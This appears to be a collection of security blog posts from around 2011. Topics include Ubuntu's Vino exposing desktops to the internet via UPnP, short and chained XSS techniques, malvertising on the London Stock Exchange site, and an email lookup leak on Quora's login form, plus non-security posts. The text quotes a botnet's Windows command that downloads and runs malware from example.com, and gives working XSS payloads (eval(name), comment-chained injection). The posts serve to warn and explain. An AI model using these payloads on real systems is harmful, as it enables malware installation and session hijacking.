Accidentally opening the doors on Ubuntu

This post highlights how even a small modification to a graphical user interface can be responsible for causing unintended security problems.

When Ubuntu's remote desktop service (Vino) first introduced support for UPnP, this is what the Security section of new configuration dialog looked like:



The UPnP feature was activated by checking "Talk to the router and try to open the doors there". Although this label was criticised for sounding too informal, it did actually give a reasonable impression of what might happen if you checked the box. Namely, it used UPnP to configure the router such that the remote desktop service could be accessed from the internet.

However, this is what the option now looks like in the current Long Term Support version of Ubuntu (10.04.3 LTS, Lucid Lynx):



(This is a screenshot from a real victim of the problem I am about to describe)

Notice that this unfortunate user has enabled remote control of their desktop, with no password protection. What was possibly going through their mind?  Well, convenience, most likely. Indeed, the lack of password may not necessarily pose any security problems if the Ubuntu desktop is on a trusted network and not connected directly to the internet. This would be typical of many home networks, where internet access is usually provided by a NAT-enabled router.

But also notice that the UPnP option is now labelled "Configure network automatically to accept connections". The user has checked this box - after all, why wouldn't you want a connection to be accepted automatically? Convenience is the goal here, and there is nothing to suggest that this option really means "accept connections from the entire internet".

So, after checking the box, the user's UPnP-enabled router will start to accept connections from the internet on port 5900 and forward them to the Ubuntu desktop.  Even so, the settings dialog reassuringly and erroneously states that "Your desktop is only reachable over the local network." The combination of this bug and the slightly unclear option label has caused the user to accidentally open the doors on their Ubuntu desktop. To anyone.

Anybody in the world can now use this person's computer simply by using a VNC client to connect to the public-facing IP address of the router (no password required, of course).

Internet-facing VNC servers are often subjected to automated attacks from botnets, but vino-server's lack of connection logging might make these hard to trace after the event. Thankfully, most of the automated attacks happening right now are only designed to exploit Windows systems.  You may, for example, notice attacks similar to the following, which launch a command prompt and create a temporary FTP script named "ik", which is then used to download and execute malware:

cmd /c echo open example.com 21 >> ik &echo user xyz letmein >> ik &echo binary >> ik &echo get svcnost.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &svcnost.exe &exit
echo You got owned

The botnet simply connects to an exposed VNC server and sends these characters to the remote Windows computer.  Quite cheeky, but at least it has the decency to tell the user they got owned!

Are you affected by this? If you have enabled remote desktop or vino-server on any version of Ubuntu or Windows, you should probably double check that you haven't inadvertently exposed the service to the entire internet. If you do wish for the service to be internet visible, ensure that you use a suitably strong password and keep your server software up to date.

XSS in confined spaces

It's always nice to see a manager or developer fully understand the severity of cross-site scripting (XSS). Displaying user-supplied input without sufficient encoding can have a serious impact on a web application – in particular, its users may become vulnerable to remote session hijacking, autocompleted passwords could end up being covertly siphoned off to the attacker, and most CSRF (cross-site request forgery) protection mechanisms can be bypassed.

However, those who do understand the risks of XSS may nonetheless dismiss the possibility of such nefarious attacks if the vulnerable input parameter is truncated to less than 30 characters or so. After all, how can you steal a password in less than 30 characters?

XSS in 10 characters (well, 27 really)

Many web application security testers will demonstrate an XSS vulnerability by injecting something like <script>alert(123)</script> into a webpage. This will cause a dialog box to pop up and display the message "123".

Unfortunately, that's the kind of benign demonstration that makes a manager think, "So what?"

Demonstrations are much more powerful if they show something bad happening, but how can that be done if we've already reached the maximum length (27 characters) of the vulnerable input parameter?

After the overhead of the script tags (of which there must be both an opening and closing one), there is only room to inject 10 characters of JavaScript. Believe it or not, that's enough to carry out any kind of cross-site scripting attack, including session hijacking, self-propagating JavaScript worms and CSRF exploits.

Bootstrapping larger XSS payloads

These 10 characters of JavaScript can effectively 'bootstrap' a much larger JavaScript payload from the window.name attribute. This is a special attribute which is persistent across domains. An attacker can exploit this behaviour by using any website under his control to store a large JavaScript payload in the window.name attribute, which is practically unlimited in size:

window.name = "var x=1; do_some_bad_stuff(); [...] ";

When the victim uses the same browser tab to view the vulnerable website, the payload will remain accessible via the window.name attribute. In practice, this is most likely to be exploited through the use of a hidden iframe, which sets the payload from the attacker's site, and then automatically redirects the iframed window to the vulnerable page on the target site.

Using the XSS vulnerability on the target site, the attacker's payload can be executed by injecting these 10 characters of JavaScript:

eval(name)

I'm not aware of an XSS vulnerability that can be exploited in fewer than 10 characters, so let me know if you find one! Note that the example above requires 27 characters if you include the script tags, although this can obviously be reduced if it is possible to inject user-supplied input directly into an existing block of JavaScript (this is not unheard of!).

Chained XSS

If a web application displays user-supplied input without sufficient encoding, it would generally remain safe from cross-site scripting attacks if the maximum length of the input is restricted even further than in the previous examples.

However, if there are several vulnerable inputs on the same page, these can be combined to construct a valid piece of executable JavaScript which would not have fitted into a single input parameter.

This can be demonstrated by the following vulnerable HTML template, which fails to encode the name and telephone numbers after a user submits some feedback:

<p>
 [    $name     ] - thanks for submitting your comments.
 Your feedback is important to us. As requested, we will
 contact you about this issue as soon as possible, using
 the contact details provided below:
</p>
<ul>
 <li>Landline: [  $tel1   ]</li>
 <li>  Mobile: [  $tel2   ]</li>
</ul>

The user name is limited to 16 characters in length, while both of the telephone numbers are limited to 12. Although each individual field is too short to allow a practical XSS attack, the vulnerable fields can effectively be chained together by submitting the following values:

 $name: <script>alert(/*
 $tel1: */'XSS'/*
 $tel2: */);</script>

This will result in the web server returning the following HTML to the client. The JavaScript comments chain the vulnerable fields together, allowing the injected script to be parsed correctly and executed by the browser:

<p>
 <script>alert(/* - thanks for submitting your comments.
 Your feedback is important to us. As requested, we will
 contact you about this issue as soon as possible, using
 the contact details provided below:
</p>
<ul>
 <li>Landline: */'XSS'/*   </li>
 <li>  Mobile: */)</script></li>
</ul>

Big or small, gotta fix 'em all.

Exploiting XSS with clickjacking

Here's a nice video demonstraction of how clickjacking can be used to exploit what would otherwise be an unexploitable cross-site scripting vulnerability:

For further details on the mechanics of this attack, check out Krzysztof Kotowicz's blog post, where he notes the only winning move is not to play.

London Stock Exchange hit by malware

The London Stock Exchange website exposed some visitors to drive-by malware attacks today. Merely viewing the homepage at www.londonstockexchange.com (without clicking on anything) caused my Windows computer to be compromised by malware. This malware was apparently delivered through third-party advertisements which appeared on the site.

The malware was a classic spoof antivirus program which used a software vulnerability to download and install native executable code. The spoof program appeared in the system tray and prevented other processes such as Task Manager being run, falsely claiming that they were infected with a virus. The malware then tried to extort payment to fix the artificial problem it had created. It also replaced the wallpaper image with the following message:

Google's Safe Browsing diagnostic page for www.londonstockexchange.com also confirmed the presence of suspicious content on the LSE website today:

Of the 281 pages we tested on the site over the past 90 days, 65 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2011-02-27, and the last time suspicious content was found on this site was on 2011-02-27.

Malicious software includes 2 scripting exploit(s), 2 trojan(s), 1 exploit(s). Successful infection resulted in an average of 5 new process(es) on the target machine.

Accordingly, the site ended up being blocked by the Chrome and Firefox web browsers, which both make use of Google's malware blocklist.

LSE have now disabled the affected adverts from appearing on their site, thus preventing malware reaching its visitors. For clarity, the LSE website itself was not compromised. Because the malware was distributed via an advertising network, many other sites may also have been affected.

Unanimis, which hosted adverts used on the LSE website, subsequently issued the following statement:

Malware was detected on the Unanimis network which affected some advertisements on our network. Other than the banner advertisements in question, the malware does not impact or affect any other parts of a website. The affected advertisements have been removed and all sites continue to operate normally. For clarity the LSE website was not impacted by this Malware, not did it propagate malware.

Discovery docking with the International Space Station

The Internation Space Station passed overhead at 18:36 this evening, with the space shuttle Discovery closing in and preparing to dock. Having never seen the ISS before, I thought I'd try and get some photos of it.

Each of the following photos is an unprocessed 100% sized crop from a relatively cheap Canon 500D digital SLR camera which produces 15 megapixel JPEG images.

Jupiter. Automatic camera settings aren't particularly suitable for taking photos of a very tiny bright dot in the middle of a vast expanse of darkness, so manual settings are the best way to go. To get a rough idea of which settings to use, I pointed my camera to the West, where the planet Jupiter was happy to lend a hand. This helped me focus the lens and work out what exposure settings to use. I decided to go with ISO 1600 sensitivity and set the lens aperture to f/8.

ISS appears. The ISS quickly appeared over the horizon, but was not particularly bright yet (possibly due to low altitude atmospheric polution?). I was hand-holding a 500mm lens with a 1.4x extender and had to slow my exposure time to 1/320 for this shot.

1/500. It seemed to be getting a little bit closer now, and certainly at a higher angle in the sky. I stepped the exposure up to 1/500 sec for this one.

1/1000. Getting brighter all the time, I pushed the shutter speed up to 1/1000. This made it easier to take handheld photos, although it was surprisingly difficult to locate the object through the viewfinder! The ISS moves quite fast and the effective focal length of 1120mm gives a narrow field of view.

Backflip. The small dot to the left of the ISS is the space shuttle Discovery coming to the end of its 'backflip' around the station (thanks to @adam_horn for confirming that!). The individual solar panels on the space station are now starting to become apparent.

Discovery! It may only be a few pixels in size, but the Discovery is slightly more recognisable in this shot. Those with a good imagination will surely agree that it's shaped like a space shuttle :)

They're not great photos, but I found the results nonetheless surprising, particularly as all I could see without the camera was a bright white dot moving up through the sky. The individual solar panels were not visible to the naked eye, and I had no idea that Discovery was even there until I looked at the JPEGs that came off the camera. I'm not a space geek, but I still found this pretty cool.

Example.com has changed!

Nearly everyone involved in security testing or website design has undoubtedly used the domains example.com and example.net to demonstrate something or other. These are special domain names, reserved for private testing, so nobody is allowed to register them.

For as long as I can remember, the domains have been configured to point to a web server. For several years, they returned the following rather minimalist content:

You have reached this web page by typing "example.com", "example.net","example.org" or "example.edu" into your web browser.

These domain names are reserved for use in documentation and are not available for registration. See RFC 2606, Section 3.

But now it's changed! The example domains now issue a 302 redirect to a page on a different domain: http://www.iana.org/domains/example/

Try it out: http://example.com

I don't like this. I'm all in favour of making things look a bit prettier, but for some reason it seems wrong to redirect users to a completely different domain name.

I wonder if any test code will be broken by this change?

Quora login exposes names and photos

When Quora went live a few weeks ago, I was one of many who rushed in to sign up for an account and see what all the excitement was about. It describes itself as "a continually improving collection of questions and answers created, edited, and organized by everyone who uses it". Sounds like a nice idea, but I haven't really used it enough to gauge how useful it actually is.

I thought I'd change that, so I revisited quora.com today to give it another go, but the first thing that struck me was the default behaviour of the login form.

As soon as you enter your email address into the login form, it automatically displays your full name and profile image. This is not dependant on cookies or location – anybody in the world can do this with your email address in order to find out what you look like, and what your full name is. They don't even need to be registered with Quora to find this out.

The login form posts the email address in an XMLHttpRequest to http://www.quora.com/webnode2/server_call_POST. If that email address is registered on Quora, the server responds with the name and photo from the corresponding Quora profile. I consider this both a security and a privacy problem.

Armed with just your email address, an anonymous attacker can:

• Determine whether you are registered on Quora.
• Map your email address to your full name – very useful for phishing.
• Discover what you look like.

I don't think many Quora users would expect their details to be exposed in this way, and at least not to people who haven't even registered to use Quora. It is worth noting that Facebook also reveals names and photos after a few failed login attempts, but only after a CAPTCHA has been solved (thus preventing large scale automated abuse)

But what are the real security implications? Phishing victims are more likely to fall for scams if a phishing email contains the victim's full name. Indeed, genuine emails from PayPal even offer this piece of advice in the footer:

How do I know this is not a Spoof email? Spoof or 'phishing' emails tend to have generic greetings such as "Dear PayPal member". Emails from PayPal will always address you by your first and last name.

Obviously that's not safe advice.

Tesco Mobile's hidden fair use policy

I previously blogged about T-Mobile's silly fair use policy, but at least they make it clear what the data limit is. Tesco Mobile, on the other hand, seem to be intent on hiding their fair use limit from pay as you go customers.

Nine months ago, I regrettably bought a mobile phone locked to the Tesco Mobile network. I had looked around their website (http://www.tesco.com/mobilenetwork/) and decided that their Pay as you go tariff was good value if all I ever wanted to do was access the internet with no risk of hidden fees (they offer a 7-day "Unlimited Browsing" pass for £2). I had a jolly good browse around the site, but there was absolutely no quantification of a fair use limit. As the pass was labelled "unlimited", I naturally assumed that if there was a fair use limit, it would be reasonably high, or at least in line with other mobile networks.

Just a couple of days later, a friend of mine with an incredibly old web browser pointed out something I had missed: Tesco's website says there is a rather paltry fair use limit of only 100Mb per week. How did I miss that?!

Well, I hadn't missed it – sort of. The fault lies in the Tesco Mobile website, which apparently only works properly in Internet explorer 6. That's quite remarkable given that it's now the year 2011.

So what's actually wrong with their website? There is only one page which states what the fair use limit is (100mb), and this piece of text is not visible in any modern web browser software.

The following screenshot from Firefox 3.6.13 shows the text box in which the 100mb limit is stated; however, it is impossible to scroll down far enough to read it! The design of this web page is faulty, and overlays the bottom navigation bar on top of the final paragraph, making it practically invisible:

This is not just a Firefox rendering issue – the same problem occurs in any vaguely recent version of Internet Explorer, Opera, Chrome and Safari. In fact, the only browser I could view the relevant text in was Internet Explorer 6 (which was released 10 years ago!).

Alternatively, you can view the HTML source, but it's hardly reasonable to expect a customer to do that:

Searching their website for "100mb" confirms that this is the only page the limit is mentioned on (for Pay as you go customers); yet it is completely hidden from anyone who isn't running 10 year old software.

What I find really unfair is that Tesco have refused to fix this problem with their website, which has continued to hide the 100Mb fair use limit for at least 9 months. If I had known about this low limit, I would never have bought a phone from them. I made that clear to Tesco, yet they still refuse to fix it.

I have informed Tesco exactly what the problem is on numerous occasions. They have either insisted that nothing is wrong, or have point blank refused to respond to me.

One lady even accused me of lying when I said the 100Mb fair use limit was not visible on their website. "I can see it here in front of me in black and white," she said, refusing to believe anything I was saying. I did wonder whether they, too, were living in the past with Internet Explorer 6, but sadly she did not understand what a web browser was, let alone what version it was.

It was clear that nobody was going to fix the problem, so I thought I'd head straight to the top and ask the CEO to get it fixed. Surely the CEO will care about other customers being misled by the hidden fair use limits?

Apparently not: I asked the CEO of Tesco, Sir Terry Leahy, why the website has not been fixed. This particular question has never been answered. I even asked him to at least acknowledge that their website is broken, but this too has been avoided in any responses. Tesco have refused to answer either of those two questions, so I can only assume they are hiding the fair use limit on purpose.

I believe it is dishonest for Tesco to act this way. They are knowingly refusing to fix their website, seemingly happy for some other sucker to be misled the same way I was.

As they still refuse to fix the site, and seem happy to continue hiding the fair use limit from online customers, I told Sir Terry that I was going to write an article about it. I did, of course, ask him if he had any comments before I published, but the only response I got was, "I would like to confirm that we have nothing further to add."

I suppose when it comes to generating revenue by misleading prospective customers, "every little helps".

DDoS Tutorial

Gosh, I had no idea it was this easy to launch a distributed denial of service attack. I particularly like the bit where the hacker demonstrates the effectiveness of this method by carrying out an attack against 127.0.0.1. I bet that server took a real hammering in this video:

Mind you, I can understand why they would want to launch an attack against 127.0.0.1 – the last time I went there, I found they had stolen all my files!

T-Mobile's fair use policy is unenforceable

UK mobile network operator T-Mobile is changing its Mobile Internet fair use policy to have a significantly reduced fair use limit of only 500Mb per month. Despite this change, T-Mobile are not going to let customers escape from their contracts prematurely – including those who signed up when the limit was clearly set at 3Gb.

However, one important new feature is that this 500Mb limit does not apply to "browsing", which they define like so:

"Browsing means looking at websites and checking email, but not watching videos, downloading files or playing games."

Help, I'm confused! What happens if I visit YouTube and play a video in my web browser? More alarmingly, I've been using email since the last millennium, but never knew I was actually browsing whenever I checked it.

Aside from the obvious ambiguities, it's pretty obvious that they have no way of enforcing this fair use limit accurately. What happens if I download an email which has a video attached, or if I tunnel all of my phone's network traffic over a VPN?

And perhaps the best example: If I browse around an HTTPS website, how will T-Mobile know that I am browsing? How can they distinguish a very large webpage from a small video? Quite simply, they cannot.

I've asked T-Mobile how they are going to count HTTPS traffic. I'll update this post when they respond, but hopefully just thinking about that question will surely make them realise the flaws in their new fair use policy?

Update: T-Mobile appear to have ignored my question. Maybe they don't know the answer.